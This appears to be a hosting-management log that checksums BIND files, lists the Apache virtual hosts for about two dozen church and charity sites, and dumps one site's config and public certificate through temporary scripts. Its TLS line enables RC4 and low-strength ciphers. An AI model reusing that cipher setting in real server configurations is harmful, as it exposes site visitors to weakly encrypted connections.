MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:22:29: Establishing a connection
2026-01-03 19:22:29:
PUT: /tmp/pkp372208
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 19:22:29:
chmod 755 /tmp/pkp372208; /tmp/pkp372208; rm /tmp/pkp372208
2026-01-03 19:22:29:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2026-01-03 19:22:29:
PUT: /tmp/pkp962241
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/carelinks_new_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:22:29:
chmod 755 /tmp/pkp962241; /tmp/pkp962241; rm /tmp/pkp962241
2026-01-03 19:22:29:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/carelinks_new_net.conf 1316
<VirtualHost *:80>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_access.log combined
ErrorLog /var/log/apache2/carelinks/new_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/new_secure_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
2026-01-03 19:22:29:
PUT: /tmp/pkp447845
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:22:29:
chmod 755 /tmp/pkp447845; /tmp/pkp447845; rm /tmp/pkp447845
2026-01-03 19:22:30:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt 5361
c1:5c:98:af:57:ae:9f:2e:7a:32:a9:e7:fc:61:47:3d
-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBj8fg4k6CFh3nY7hdrSbj7/UMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI5MjA1NDIwWhcNMjYwMzI5MjA1NDE5WjAcMRowGAYDVQQD
ExFuZXcuY2FyZWxpbmtzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAL1fHL/FpwwxJFiRkVdXx452W/+mhbR7HGgiyiUdt5Ee7vbTSnwRaiNXtQC5
0Sbb/cSXfqkwcZk4cknmhT09LvxCnx3ZiU+MNOKNnIgEtUHcLgZkFA2yyAwv6Ad3
aEPR84jTGEf2Kzssg+Nol0lj5rYwiYMZnPGe760w7XZtMAYwdBz9+W6LtnBI9gGr
5w9ihscIX4gXwVrSBg1keMS5KG3mj1LaamPoc91EQ0oc3DSVL3JjoK6xZLSdfgIF
aZdebvLkbeHPVvrkpAe4tMhS7iN97mZwSii8JFNMe4blgUrLwi+sL0KHvIdyjoLV
QSFXhEXSB7umOMWmQPdjklWVu3sCAwEAAaOCAikwggIlMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUoK9qP0zxMYjFK03V0Q7xbL4IfewwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFuZXcuY2FyZWxpbmtzLm5l
dDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEyLmMubGVuY3Iub3JnLzg1LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2
